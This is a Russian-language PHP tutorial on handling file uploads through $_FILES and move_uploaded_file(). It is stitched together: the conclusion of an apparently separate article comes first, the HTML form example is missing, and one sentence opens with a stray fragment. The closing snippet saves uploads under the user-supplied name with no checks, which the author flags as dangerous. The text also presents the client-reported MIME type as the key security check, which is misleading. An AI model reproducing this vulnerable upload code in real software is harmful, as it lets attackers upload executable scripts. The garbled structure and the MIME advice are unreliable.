Сегодня вы узнали, как происходит настройка и осуществляется процесс PHP загрузки файлов на сервер с вашего сайта или веб-приложения. Чтобы загрузка была успешной, форма HTML должна быть отправлена через запрос POST с множественным форматированием данных, а PHP должен разрешать передачу, как указано, с помощью директивы file_uploads . После переноса файла, сценарий, ответственный за обработку загрузки, использует информацию, найденную в массиве $_FILES , чтобы переместить файл из временного каталога в нужное место. Я также поделился некоторыми дополнительными мерами предосторожности, которые вы можете предпринять, чтобы защитить себя и своих пользователей от некоторых рисков, связанных с возможностью загрузки файлов. Чтобы гарантировать свою безопасность - проверяйте тип файла, наложите жесткие ограничения на загрузку трафика и применяйте сканирование на наличие вирусов.

Для тех, кто может быть заинтересован, дополнительный код для этой статьи доступен на GitHub . Вы можете просматривать, загружать или клонировать репозиторий и играть с кодом, чтобы лучше понять, как работает процесс загрузки файлов.

Наверняка, Вы часто загружали различные файлы на сайты . Например, загружали аватары на форуме , фотографии в социальных сетях, различные видеоролики на видеохостинги, просто файлы на файлообменники. И вот в этой статье Вы узнаете, как загрузить файлы на сервер в PHP . Именно через PHP в большинстве случаев это и реализуют.

Первым делом, что нужно усвоить - это то, что сама HTML-форма , в которую подставляется файл должна быть не совсем обычной, вот пример HTML-кода такой формы:





Ключевой момент здесь - это атрибут "enctype " со значением "multipart/form-data ". Без него ничего работать не будет.

", в котором мы ещё загружать файл не будем, а пройдёмся немного по различным важным моментам, которые надо обязательно учитывать, иначе может пострадать безопасность:

print_r($_FILES);
?>

В результате, Вы увидите содержимое глобального двумерного массива $_FILES :

  • name - имя загружаемого файла.
  • type - MIME-type загружаемого файла. Это, пожалуй, самый важный параметр для обеспечения безопасности. И всегда при приёме файлов необходимо проверять MIME-type , иначе проблем не оберётесь. В следующей статье мы поговорим об этом более детально.
  • tmp_name - физический путь к временному файлу. Именно в это место и помещается файл, а уже потом мы его переносим в другое место. Фактически, файл уже загружен, а нам лишь надо его переместить в нужную папку на сервере.
  • error - код ошибки. Если 0 , то ошибок нет.
  • size - размер загружаемого файла. Вот это тоже частоиспользуемая опция, и её также надо проверять, чтобы ограничить размер загружаемых файлов . Безусловно, самим сервером этот размер ограничен, однако, для всяких картинок, этот размер явно завышен (как правило, он 10 МБ ).

И все эти параметры присутствуют для каждого загружаемого файла (каждые из которых представляют собой массив в двумерном массиве $_FILES ).

Теперь давайте уже закончим с загрузкой файлов на сервер в PHP , и для этого напишем такой код (""):

$uploadfile = "images/".$_FILES["somename"]["name"];
move_uploaded_file($_FILES["somename"]["tmp_name"], $uploadfile);
?>

То есть вначале мы задаём путь к загружаемому файлу на сервере. Здесь мы хотим поместить файл в директорию "images " с тем же именем, что и было раньше у файла. А функцией move_uploaded_file() мы перемещаем файл в выбранную нами директорию из его временного хранилища.

Однако, обратите внимание, это очень важно! Так использовать код ни в коем случае нельзя, иначе Вашему сайту будет угрожать серьёзная опасность! Фактически, на данный момент может быть загружено абсолютно всё, что угодно: любые исполняемые файлы, скрипты, HTML-страницы и другие весьма опасные вещи. Поэтому обязательно надо проверять загружаемые файлы на сервер очень тщательно. И вот этим мы и займёмся в следующей статье. Поскольку тема очень важная, то я советую Вам подписаться на обновления, чтобы не пропустить эту статью.